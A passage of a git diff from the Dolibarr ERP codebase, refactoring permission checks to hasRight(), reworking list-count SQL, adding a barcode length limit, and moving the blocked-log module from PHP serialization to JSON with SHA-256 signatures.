actions_addupdatedelete.inc.php +$permissiontoadd = $user->hasRight('asset', 'write'); // Used by the include of actions_addupdatedelete.inc.php // Security check (enable the most restrictive one) if ($user->socid > 0) accessforbidden(); diff --git a/htdocs/asset/disposal.php b/htdocs/asset/disposal.php index 0f1b71e1929..46c5be78a79 100644 --- a/htdocs/asset/disposal.php +++ b/htdocs/asset/disposal.php @@ -51,8 +51,8 @@ if ($id > 0 || !empty($ref)) { $upload_dir = $conf->asset->multidir_output[$object->entity]."/".$object->id; } -$permissionnote = $user->rights->asset->write; // Used by the include of actions_setnotes.inc.php -$permissiontoadd = $user->rights->asset->write; // Used by the include of actions_addupdatedelete.inc.php +$permissionnote = $user->hasRight('asset', 'write'); // Used by the include of actions_setnotes.inc.php +$permissiontoadd = $user->hasRight('asset', 'write'); // Used by the include of actions_addupdatedelete.inc.php // Security check (enable the most restrictive one) if ($user->socid > 0) accessforbidden(); diff --git a/htdocs/asset/document.php b/htdocs/asset/document.php index ee5f7845aed..3ead3b3ed57 100644 --- a/htdocs/asset/document.php +++ b/htdocs/asset/document.php @@ -142,9 +142,9 @@ if ($object->id) { print dol_get_fiche_end(); $modulepart = 'asset'; - $permissiontoadd = $user->rights->asset->write; + $permissiontoadd = $user->hasRight('asset', 'write'); // $permissiontoadd = 1; - $permtoedit = $user->rights->asset->write; + $permtoedit = $user->hasRight('asset', 'write'); // $permtoedit = 1; $param = '&id=' . $object->id; diff --git a/htdocs/asset/list.php b/htdocs/asset/list.php index 5e00c2d2433..4b3b530148d 100644 --- a/htdocs/asset/list.php +++ b/htdocs/asset/list.php @@ -120,9 +120,9 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_array_fields.tpl.php'; $object->fields = dol_sort_array($object->fields, 'position'); $arrayfields = dol_sort_array($arrayfields, 'position'); -$permissiontoread = $user->rights->asset->read; -$permissiontoadd = $user->rights->asset->write; -$permissiontodelete = $user->rights->asset->delete; +$permissiontoread = $user->hasRight('asset', 'read'); +$permissiontoadd = $user->hasRight('asset', 'write'); +$permissiontodelete = $user->hasRight('asset', 'delete'); // Security check if (!isModEnabled('asset')) { @@ -214,8 +214,11 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (t.rowid = ef.fk_object)"; @@ -297,21 +300,18 @@ $sql .= !empty($hookmanager->resPrint) ? (" HAVING 1=1 " . $hookmanager->resPrin // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - /* This old and fast method to get and count full list returns all record so use a high amount of memory. - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - */ - /* The slow method does not consume memory on mysql (not tested on pgsql) */ - /*$resql = $db->query($sql, 0, 'auto', 1); - while ($db->fetch_object($resql)) { - $nbtotalofrecords++; - }*/ /* The fast and low memory method to get and count full list converts the sql into a sql count */ - $sqlforcount = preg_replace('/^SELECT[a-z0-9\._\s\(\),]+FROM/Ui', 'SELECT COUNT(*) as nbtotalofrecords FROM', $sql); + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); $resql = $db->query($sqlforcount); - $objforcount = $db->fetch_object($resql); - $nbtotalofrecords = $objforcount->nbtotalofrecords; - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } @@ -639,7 +639,7 @@ if ($num == 0) { $colspan++; } } - print ''.$langs->trans("NoRecordFound").''; + print ''.$langs->trans("NoRecordFound").''; } diff --git a/htdocs/asset/model/agenda.php b/htdocs/asset/model/agenda.php index 17fb19fe565..51a55e0e144 100644 --- a/htdocs/asset/model/agenda.php +++ b/htdocs/asset/model/agenda.php @@ -46,9 +46,10 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ? GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ? GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } -$search_agenda_label = GETPOST('search_agenda_label'); +//$search_rowid = GETPOST('search_rowid'); +//$search_agenda_label = GETPOST('search_agenda_label'); $limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST("sortfield", 'alpha'); @@ -127,7 +128,7 @@ $form = new Form($db); if ($object->id > 0) { $title = $langs->trans("Agenda"); //if (!empty($conf->global->MAIN_HTML_TITLE) && preg_match('/thirdpartynameonly/',$conf->global->MAIN_HTML_TITLE) && $object->name) $title=$object->name." - ".$title; - $help_url = 'EN:Module_Agenda_En'; + $help_url = 'EN:Module_Agenda_En|DE:Modul_Terminplanung'; llxHeader('', $title, $help_url); if (isModEnabled('notification')) { @@ -173,7 +174,7 @@ if ($object->id > 0) { if (get_class($objthirdparty) == 'Societe') { $out .= '&socid=' . urlencode($objthirdparty->id); } - $out .= (!empty($objcon->id) ? '&contactid=' . urlencode($objcon->id) : '') . '&percentage=-1'; + $out .= (!empty($objcon->id) ? '&contactid=' . urlencode($objcon->id) : ''); //$out.=$langs->trans("AddAnAction").' '; //$out.=img_picto($langs->trans("AddAnAction"),'filenew'); //$out.=""; @@ -183,7 +184,7 @@ if ($object->id > 0) { print '
      '; // if (isModEnabled('agenda')) { - // if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + // if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { // print '' . $langs->trans("AddAction") . ''; // } else { // print '' . $langs->trans("AddAction") . ''; @@ -207,6 +208,7 @@ if ($object->id > 0) { // // List of all actions // $filters = array(); // $filters['search_agenda_label'] = $search_agenda_label; + // $filters['search_rowid'] = $search_rowid; // // // TODO Replace this with same code than into list.php // show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, $object->module); diff --git a/htdocs/asset/model/list.php b/htdocs/asset/model/list.php index aa80b4e5426..51e45f244d0 100644 --- a/htdocs/asset/model/list.php +++ b/htdocs/asset/model/list.php @@ -219,7 +219,7 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { diff --git a/htdocs/asset/note.php b/htdocs/asset/note.php index fd404a77447..dd31b723cea 100644 --- a/htdocs/asset/note.php +++ b/htdocs/asset/note.php @@ -51,8 +51,8 @@ if ($id > 0 || !empty($ref)) { $upload_dir = $conf->asset->multidir_output[$object->entity]."/".$object->id; } -$permissionnote = $user->rights->asset->write; // Used by the include of actions_setnotes.inc.php -$permissiontoadd = $user->rights->asset->write; // Used by the include of actions_addupdatedelete.inc.php +$permissionnote = $user->hasRight('asset', 'write'); // Used by the include of actions_setnotes.inc.php +$permissiontoadd = $user->hasRight('asset', 'write'); // Used by the include of actions_addupdatedelete.inc.php // Security check (enable the most restrictive one) if ($user->socid > 0) accessforbidden(); diff --git a/htdocs/asset/tpl/linkedobjectblock.tpl.php b/htdocs/asset/tpl/linkedobjectblock.tpl.php index aef30995432..11d94714db8 100644 --- a/htdocs/asset/tpl/linkedobjectblock.tpl.php +++ b/htdocs/asset/tpl/linkedobjectblock.tpl.php @@ -46,12 +46,12 @@ foreach ($linkedObjectBlock as $key => $objectlink) { $trclass .= ' liste_sub_total'; } echo ''; - echo ''.$langs->trans("Asset"); + echo ''.$langs->trans("Asset"); if (!empty($showImportButton) && !empty($conf->global->MAIN_ENABLE_IMPORT_LINKED_OBJECT_LINES)) { print ' '; - echo ''.$objectlink->getNomUrl(1).''; + echo ''.$objectlink->getNomUrl(1).''; echo ''.$objectlink->label.''; echo ''.dol_print_date($objectlink->date_start, 'day').''; echo ''; diff --git a/htdocs/barcode/codeinit.php b/htdocs/barcode/codeinit.php index 8ce559031a1..9c45d29cf79 100644 --- a/htdocs/barcode/codeinit.php +++ b/htdocs/barcode/codeinit.php @@ -48,7 +48,7 @@ $thirdpartytmp = new Societe($db); $modBarCodeProduct = ''; $modBarCodeThirdparty = ''; -$maxperinit = 1000; +$maxperinit = empty($conf->global->BARCODE_INIT_MAX) ? 1000 : $conf->global->BARCODE_INIT_MAX; // Security check (enable the most restrictive one) //if ($user->socid > 0) accessforbidden(); @@ -179,14 +179,16 @@ if (!empty($conf->global->BARCODE_PRODUCT_ADDON_NUM)) { if (preg_match('/^mod_barcode_product_.*php$/', $file)) { $file = substr($file, 0, dol_strlen($file) - 4); - try { - dol_include_once($dirroot.$file.'.php'); - } catch (Exception $e) { - dol_syslog($e->getMessage(), LOG_ERR); - } + if ($file == $conf->global->BARCODE_PRODUCT_ADDON_NUM) { + try { + dol_include_once($dirroot.$file.'.php'); + } catch (Exception $e) { + dol_syslog($e->getMessage(), LOG_ERR); + } - $modBarCodeProduct = new $file(); - break; + $modBarCodeProduct = new $file(); + break; + } } } closedir($handle); diff --git a/htdocs/barcode/printsheet.php b/htdocs/barcode/printsheet.php index 373effecbe8..75f8ae98663 100644 --- a/htdocs/barcode/printsheet.php +++ b/htdocs/barcode/printsheet.php @@ -116,6 +116,11 @@ if ($action == 'builddoc') { setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("BarcodeValue")), null, 'errors'); $error++; } + $MAXLENGTH = 51200; // Limit set to 50Ko + if (dol_strlen($forbarcode) > $MAXLENGTH) { // barcode value + setEventMessages($langs->trans("ErrorFieldTooLong", $langs->transnoentitiesnoconv("BarcodeValue")).' ('.$langs->trans("RequireXStringMax", $MAXLENGTH).')', null, 'errors'); + $error++; + } if (empty($fk_barcode_type)) { // barcode type = barcode encoding setEventMessages($langs->trans("ErrorFieldRequired", $langs->transnoentitiesnoconv("BarcodeType")), null, 'errors'); $error++; @@ -226,7 +231,7 @@ if ($action == 'builddoc') { 'code'=>$code, 'encoding'=>$encoding, 'is2d'=>$is2d, - 'photo'=>$barcodeimage // Photo must be a file that exists with format supported by TCPDF + 'photo'=>!empty($barcodeimage) ? $barcodeimage : '' // Photo must be a file that exists with format supported by TCPDF ); } } else { diff --git a/htdocs/blockedlog/README-fr.md b/htdocs/blockedlog/README-fr.md index e92bd5a09fe..a5d709ca7a7 100644 --- a/htdocs/blockedlog/README-fr.md +++ b/htdocs/blockedlog/README-fr.md @@ -4,7 +4,7 @@ LOG INALTERABLE ## Fonctionnalité Ce module trace, en temps réel, certains évènements métiers dans une log inaltérable (que vous ne pouvez pas modifier une fois enregistrés) de type blockchain. -Ce module est requis pour la compatibilité avec les exigences légales de certains pays (comme la France avec la loi Fincance 2016 - Norme NF535). +Ce module est requis pour la compatibilité avec les exigences légales de certains pays (comme la France avec la loi Finance 2016 - Norme NF525). **Les évènements tracés de manière inaltérables sont:** diff --git a/htdocs/blockedlog/README.md b/htdocs/blockedlog/README.md index ec3174fb847..7bd9b10787e 100644 --- a/htdocs/blockedlog/README.md +++ b/htdocs/blockedlog/README.md @@ -4,7 +4,7 @@ BLOCKED LOG ## Feature This module tracks, in real time, some events into a non reversible log (that you can't modify once recorded) into a block chain. -This module provides compatibility with requirements of laws of some countries (like France with the law Fincance 2016 - Norme NF535). +This module provides compatibility with requirements of laws of some countries (like France with the law Finance 2016 - Norme NF525). **The tracked events are:** diff --git a/htdocs/blockedlog/admin/blockedlog_list.php b/htdocs/blockedlog/admin/blockedlog_list.php index 9bb4456e840..b3b2a1d36f4 100644 --- a/htdocs/blockedlog/admin/blockedlog_list.php +++ b/htdocs/blockedlog/admin/blockedlog_list.php @@ -176,9 +176,9 @@ if ($action === 'downloadblockchain') { if (!$error) { // Now restart request with all data = no limit(1) in sql request - $sql = "SELECT rowid,date_creation,tms,user_fullname,action,amounts,element,fk_object,date_object,ref_object,signature,fk_user,object_data"; + $sql = "SELECT rowid, date_creation, tms, user_fullname, action, amounts, element, fk_object, date_object, ref_object, signature, fk_user, object_data, object_version"; $sql .= " FROM ".MAIN_DB_PREFIX."blockedlog"; - $sql .= " WHERE entity = ".$conf->entity; + $sql .= " WHERE entity = ".((int) $conf->entity); if (GETPOST('monthtoexport', 'int') > 0 || GETPOST('yeartoexport', 'int') > 0) { $dates = dol_get_first_day(GETPOST('yeartoexport', 'int'), GETPOST('monthtoexport', 'int') ?GETPOST('monthtoexport', 'int') : 1); $datee = dol_get_last_day(GETPOST('yeartoexport', 'int'), GETPOST('monthtoexport', 'int') ?GETPOST('monthtoexport', 'int') : 12); @@ -204,6 +204,7 @@ if ($action === 'downloadblockchain') { .';'.$langs->transnoentities('Fingerprint') .';'.$langs->transnoentities('Status') .';'.$langs->transnoentities('Note') + .';'.$langs->transnoentities('Version') .';'.$langs->transnoentities('FullData') ."\n"; @@ -226,6 +227,7 @@ if ($action === 'downloadblockchain') { $block_static->fk_user = $obj->fk_user; $block_static->signature = $obj->signature; $block_static->object_data = $block_static->dolDecodeBlockedData($obj->object_data); + $block_static->object_version = $obj->object_version; $checksignature = $block_static->checkSignature($previoushash); // If $previoushash is not defined, checkSignature will search it @@ -257,6 +259,7 @@ if ($action === 'downloadblockchain') { print ';'.$obj->signature; print ';'.$statusofrecord; print ';'.$statusofrecordnote; + print ';'.$obj->object_version; print ';"'.str_replace('"', '""', $obj->object_data).'"'; print "\n"; @@ -448,8 +451,8 @@ print ''; // Status print ''; -$array = array("1"=>$langs->trans("OnlyNonValid")); -print $form->selectarray('search_showonlyerrors', $array, $search_showonlyerrors, 1); +$array = array("1" => "OnlyNonValid"); +print $form->selectarray('search_showonlyerrors', $array, $search_showonlyerrors, 1, 0, 0, '', 1, 0, 0, 'ASC', 'search_status maxwidth200 onrightofpage', 1); print ''; // Status note @@ -530,7 +533,7 @@ if (is_array($blocks)) { print ''.dol_escape_htmltag($block->id).''; // Date - print ''.dol_print_date($block->date_creation, 'dayhour').''; + print ''.dol_print_date($block->date_creation, 'dayhour').''; // User print ''; diff --git a/htdocs/blockedlog/ajax/block-info.php b/htdocs/blockedlog/ajax/block-info.php index 9c2850608af..db0faa50cc1 100644 --- a/htdocs/blockedlog/ajax/block-info.php +++ b/htdocs/blockedlog/ajax/block-info.php @@ -57,7 +57,7 @@ $langs->loadLangs(array("admin")); top_httphead(); -print '
      '; +print '
      '.$langs->trans('Field').''.$langs->trans('Value').'
      '; print ''; if ($block->fetch($id) > 0) { diff --git a/htdocs/blockedlog/class/authority.class.php b/htdocs/blockedlog/class/authority.class.php index 7240aaf0151..e274ff4175d 100644 --- a/htdocs/blockedlog/class/authority.class.php +++ b/htdocs/blockedlog/class/authority.class.php @@ -20,6 +20,11 @@ */ class BlockedLogAuthority { + /** + * DoliDB + * @var DoliDB + */ + public $db; /** * Id of the log @@ -45,6 +50,12 @@ class BlockedLogAuthority */ public $tms = 0; + /** + * Error message + * @var string + */ + public $error; + /** * Constructor * @@ -304,8 +315,8 @@ class BlockedLogAuthority $url = $conf->global->BLOCKEDLOG_AUTHORITY_URL.'/blockedlog/ajax/authority.php?s='.$signature.'&b='.$block->signature; $res = getURLContent($url); - echo $block->signature.' '.$url.' '.$res.'
      '; - if ($res === 'blockalreadyadded' || $res === 'blockadded') { + echo $block->signature.' '.$url.' '.$res['content'].'
      '; + if ($res['content'] === 'blockalreadyadded' || $res['content'] === 'blockadded') { $block->setCertified(); } else { $this->error = $langs->trans('ImpossibleToContactAuthority ', $url); diff --git a/htdocs/blockedlog/class/blockedlog.class.php b/htdocs/blockedlog/class/blockedlog.class.php index 15af4a532fa..3b6905fcc25 100644 --- a/htdocs/blockedlog/class/blockedlog.class.php +++ b/htdocs/blockedlog/class/blockedlog.class.php @@ -204,6 +204,7 @@ class BlockedLog } // Add more action to track from a conf variable + // For example: STOCK_MOVEMENT,... if (!empty($conf->global->BLOCKEDLOG_ADD_ACTIONS_SUPPORTED)) { $tmparrayofmoresupportedevents = explode(',', $conf->global->BLOCKEDLOG_ADD_ACTIONS_SUPPORTED); foreach ($tmparrayofmoresupportedevents as $val) { @@ -305,6 +306,15 @@ class BlockedLog } else { $this->error++; } + } elseif ($this->element === 'stockmouvement') { + require_once DOL_DOCUMENT_ROOT.'/product/stock/class/mouvementstock.class.php'; + + $object = new MouvementStock($this->db); + if ($object->fetch($this->fk_object) > 0) { + return $object->getNomUrl(1); + } else { + $this->error++; + } } elseif ($this->action == 'MODULE_SET') { return ''.$langs->trans("BlockedLogEnabled").''; } elseif ($this->action == 'MODULE_RESET') { @@ -378,9 +388,14 @@ class BlockedLog $this->date_object = $object->dateh; } elseif ($object->element == 'cashcontrol') { $this->date_object = $object->date_creation; - } else { + } elseif (property_exists($object, 'date')) { + // Generic case $this->date_object = $object->date; + } elseif (property_exists($object, 'datem')) { + // Generic case (second chance, for example for stock movement) + $this->date_object = $object->datem; } + // ref $this->ref_object = ((!empty($object->newref)) ? $object->newref : $object->ref); // newref is set when validating a draft, ref is set in other cases // type of object @@ -395,11 +410,18 @@ class BlockedLog $arrayoffieldstoexclude = array( 'table_element', 'fields', 'ref_previous', 'ref_next', 'origin', 'origin_id', 'oldcopy', 'picto', 'error', 'errors', 'model_pdf', 'modelpdf', 'last_main_doc', 'civility_id', 'contact', 'contact_id', 'table_element_line', 'ismultientitymanaged', 'isextrafieldmanaged', + 'array_languages', + 'childtables', + 'contact_ids', + 'context', + 'labelStatus', + 'labelStatusShort', 'linkedObjectsIds', 'linkedObjects', 'fk_delivery_address', - 'context', - 'projet' // There is already ->fk_project + 'projet', // There is already ->fk_project + 'restrictiononfksoc', + 'specimen', ); // Add more fields to exclude depending on object type if ($this->element == 'cashcontrol') { @@ -428,7 +450,7 @@ class BlockedLog continue; // Discard if not into a dedicated list } if (!is_object($value) && !is_null($value) && $value !== '') { - $this->object_data->thirdparty->{$key} = $value; + $this->object_data->thirdparty->$key = $value; } } } @@ -448,7 +470,7 @@ class BlockedLog continue; // Discard if not into a dedicated list } if (!is_object($value) && !is_null($value) && $value !== '') { - $this->object_data->mycompany->{$key} = $value; + $this->object_data->mycompany->$key = $value; } } } @@ -486,12 +508,12 @@ class BlockedLog } if (!is_object($valueline) && !is_null($valueline) && $valueline !== '') { - $this->object_data->invoiceline[$lineid]->{$keyline} = $valueline; + $this->object_data->invoiceline[$lineid]->$keyline = $valueline; } } } } elseif (!is_object($value) && !is_null($value) && $value !== '') { - $this->object_data->{$key} = $value; + $this->object_data->$key = $value; } } @@ -509,7 +531,7 @@ class BlockedLog continue; // Discard if not into a dedicated list } if (!is_object($value) && !is_null($value) && $value !== '') { - $this->object_data->{$key} = $value; + $this->object_data->$key = $value; } } @@ -601,7 +623,7 @@ class BlockedLog continue; // Discard if not into a dedicated list } if (!is_object($value) && !is_null($value) && $value !== '') { - $paymentpart->thirdparty->{$key} = $value; + $paymentpart->thirdparty->$key = $value; } } } @@ -625,11 +647,11 @@ class BlockedLog } if (!is_object($value) && !is_null($value) && $value !== '') { if ($this->element == 'payment_donation') { - $paymentpart->donation->{$key} = $value; + $paymentpart->donation->$key = $value; } elseif ($this->element == 'payment_various') { - $paymentpart->various->{$key} = $value; + $paymentpart->various->$key = $value; } else { - $paymentpart->invoice->{$key} = $value; + $paymentpart->invoice->$key = $value; } } } @@ -664,21 +686,30 @@ class BlockedLog continue; // Discard if not into a dedicated list } if (!is_object($value) && !is_null($value) && $value !== '') { - $this->object_data->{$key} = $value; + $this->object_data->$key = $value; } } if (!empty($object->newref)) { $this->object_data->ref = $object->newref; } - } else // Generic case - { + } elseif ($this->element == 'stockmouvement') { foreach ($object as $key => $value) { if (in_array($key, $arrayoffieldstoexclude)) { continue; // Discard some properties } if (!is_object($value) && !is_null($value) && $value !== '') { - $this->object_data->{$key} = $value; + $this->object_data->$key = $value; + } + } + } else { + // Generic case + foreach ($object as $key => $value) { + if (in_array($key, $arrayoffieldstoexclude)) { + continue; // Discard some properties + } + if (!is_object($value) && !is_null($value) && $value !== '') { + $this->object_data->$key = $value; } } @@ -687,6 +718,10 @@ class BlockedLog } } + // A trick to be sure all the object_data is an associative array + // json_encode and json_decode are not able to manage mixed object (with array/object, only full arrays or full objects) + $this->object_data = json_decode(json_encode($this->object_data, JSON_FORCE_OBJECT), false); + return 1; } @@ -754,21 +789,42 @@ class BlockedLog } + /** + * Encode data + * + * @param string $data Data to serialize + * @param string $mode 0=serialize, 1=json_encode + * @return string Value serialized, an object (stdClass) + */ + public function dolEncodeBlockedData($data, $mode = 0) + { + try { + $aaa = json_encode($data); + } catch (Exception $e) { + //print $e->getErrs); + } + //var_dump($aaa); + + return $aaa; + } + + /** * Decode data * * @param string $data Data to unserialize * @param string $mode 0=unserialize, 1=json_decode - * @return string Value unserialized + * @return object Value unserialized, an object (stdClass) */ public function dolDecodeBlockedData($data, $mode = 0) { try { - //include_once DOL_DOCUMENT_ROOT.'/compta/facture/class/facture.class.php'; - $aaa = unserialize($data); + $aaa = (object) jsonOrUnserialize($data); } catch (Exception $e) { //print $e->getErrs); } + //var_dump($aaa); + return $aaa; } @@ -833,6 +889,9 @@ class BlockedLog $this->date_creation = dol_now(); + $this->object_version = ((float) DOL_VERSION); + + $this->db->begin(); $previoushash = $this->getPreviousHash(1, 0); // This get last record and lock database until insert is done @@ -874,7 +933,7 @@ class BlockedLog $sql .= $this->fk_object.","; $sql .= "'".$this->db->idate($this->date_object)."',"; $sql .= "'".$this->db->escape($this->ref_object)."',"; - $sql .= "'".$this->db->escape(serialize($this->object_data))."',"; + $sql .= "'".$this->db->escape($this->dolEncodeBlockedData($this->object_data))."',"; $sql .= "'".$this->db->escape($this->object_version)."',"; $sql .= "0,"; $sql .= $this->fk_user.","; @@ -882,6 +941,14 @@ class BlockedLog $sql .= ($this->entity ? $this->entity : $conf->entity); $sql .= ")"; + /* + $a = serialize($this->object_data); $a2 = unserialize($a); $a4 = print_r($a2, true); + $b = json_encode($this->object_data); $b2 = json_decode($b); $b4 = print_r($b2, true); + var_dump($a4 == print_r($this->object_data, true) ? 'a=a' : 'a not = a'); + var_dump($b4 == print_r($this->object_data, true) ? 'b=b' : 'b not = b'); + exit; + */ + $res = $this->db->query($sql); if ($res) { $id = $this->db->last_insert_id(MAIN_DB_PREFIX."blockedlog"); @@ -921,7 +988,7 @@ class BlockedLog $keyforsignature = $this->buildKeyForSignature(); //$signature_line = dol_hash($keyforsignature, '5'); // Not really usefull - $signature = dol_hash($previoushash.$keyforsignature, '5'); + $signature = dol_hash($previoushash.$keyforsignature, 'sha256'); //var_dump($previoushash); var_dump($keyforsignature); var_dump($signature_line); var_dump($signature); $res = ($signature === $this->signature); @@ -953,8 +1020,8 @@ class BlockedLog private function buildKeyForSignature() { //print_r($this->object_data); - if (((int) $this->object_version) > 12) { - return $this->date_creation.'|'.$this->action.'|'.$this->amounts.'|'.$this->ref_object.'|'.$this->date_object.'|'.$this->user_fullname.'|'.print_r($this->object_data, true); + if (((int) $this->object_version) >= 18) { + return $this->date_creation.'|'.$this->action.'|'.$this->amounts.'|'.$this->ref_object.'|'.$this->date_object.'|'.$this->user_fullname.'|'.json_encode($this->object_data, JSON_FORCE_OBJECT); } else { return $this->date_creation.'|'.$this->action.'|'.$this->amounts.'|'.$this->ref_object.'|'.$this->date_object.'|'.$this->user_fullname.'|'.print_r($this->object_data, true); } @@ -975,7 +1042,7 @@ class BlockedLog $previoussignature = ''; $sql = "SELECT rowid, signature FROM ".MAIN_DB_PREFIX."blockedlog"; - $sql .= " WHERE entity=".$conf->entity; + $sql .= " WHERE entity = ".((int) $conf->entity); if ($beforeid) { $sql .= " AND rowid < ".(int) $beforeid; } @@ -1036,7 +1103,7 @@ class BlockedLog WHERE entity=".$conf->entity." AND certified = 1"; } else { $sql = "SELECT rowid FROM ".MAIN_DB_PREFIX."blockedlog - WHERE entity=".$conf->entity." AND element='".$this->db->escape($element)."'"; + WHERE entity=".$conf->entity." AND element = '".$this->db->escape($element)."'"; } if ($fk_object) { diff --git a/htdocs/bom/bom_agenda.php b/htdocs/bom/bom_agenda.php index f133d1bbd4b..d22f457df85 100644 --- a/htdocs/bom/bom_agenda.php +++ b/htdocs/bom/bom_agenda.php @@ -49,9 +49,10 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ?GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); // Load variables for pagination @@ -215,7 +216,7 @@ if ($object->id > 0) { if (get_class($objthirdparty) == 'Societe') { $out .= '&socid='.$objthirdparty->id; } - $out .= (!empty($objcon->id) ? '&contactid='.$objcon->id : '').'&backtopage=1&percentage=-1'; + $out .= (!empty($objcon->id) ? '&contactid='.$objcon->id : '').'&backtopage=1'; //$out.=$langs->trans("AddAnAction").' '; //$out.=img_picto($langs->trans("AddAnAction"),'filenew'); //$out.=""; @@ -225,7 +226,7 @@ if ($object->id > 0) { print '
      '; if (isModEnabled('agenda')) { - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { print ''.$langs->trans("AddAction").''; } else { print ''.$langs->trans("AddAction").''; @@ -249,6 +250,7 @@ if ($object->id > 0) { // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; // TODO Replace this with same code than into list.php show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder); diff --git a/htdocs/bom/bom_card.php b/htdocs/bom/bom_card.php index 89705c25ec5..33e562a8a20 100644 --- a/htdocs/bom/bom_card.php +++ b/htdocs/bom/bom_card.php @@ -1,5 +1,5 @@ +/* Copyright (C) 2017-2023 Laurent Destailleur * Copyright (C) 2019 Frédéric France * * This program is free software; you can redistribute it and/or modify @@ -87,10 +87,10 @@ $isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); $result = restrictedArea($user, 'bom', $object->id, 'bom_bom', '', '', 'rowid', $isdraft); // Permissions -$permissionnote = $user->rights->bom->write; // Used by the include of actions_setnotes.inc.php -$permissiondellink = $user->rights->bom->write; // Used by the include of actions_dellink.inc.php -$permissiontoadd = $user->rights->bom->write; // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php -$permissiontodelete = $user->rights->bom->delete || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); +$permissionnote = $user->hasRight('bom', 'write'); // Used by the include of actions_setnotes.inc.php +$permissiondellink = $user->hasRight('bom', 'write'); // Used by the include of actions_dellink.inc.php +$permissiontoadd = $user->hasRight('bom', 'write'); // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php +$permissiontodelete = $user->hasRight('bom', 'delete') || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); $upload_dir = $conf->bom->multidir_output[isset($object->entity) ? $object->entity : 1]; @@ -151,6 +151,7 @@ if (empty($reshook)) { if ($action == 'addline' && $user->rights->bom->write) { $langs->load('errors'); $error = 0; + $predef = ''; // Set if we used free entry or predefined product $bom_child_id = (int) GETPOST('bom_id', 'int'); @@ -194,7 +195,18 @@ if (empty($reshook)) { } if (!$error) { - $result = $object->addLine($idprod, $qty, $qty_frozen, $disable_stock_change, $efficiency, -1, $bom_child_id, null, $fk_unit); + // Extrafields + $extralabelsline = $extrafields->fetch_name_optionals_label($object->table_element_line); + $array_options = $extrafields->getOptionalsFromPost($object->table_element_line, $predef); + // Unset extrafield + if (is_array($extralabelsline)) { + // Get extra fields + foreach ($extralabelsline as $key => $value) { + unset($_POST["options_".$key]); + } + } + + $result = $object->addLine($idprod, $qty, $qty_frozen, $disable_stock_change, $efficiency, -1, 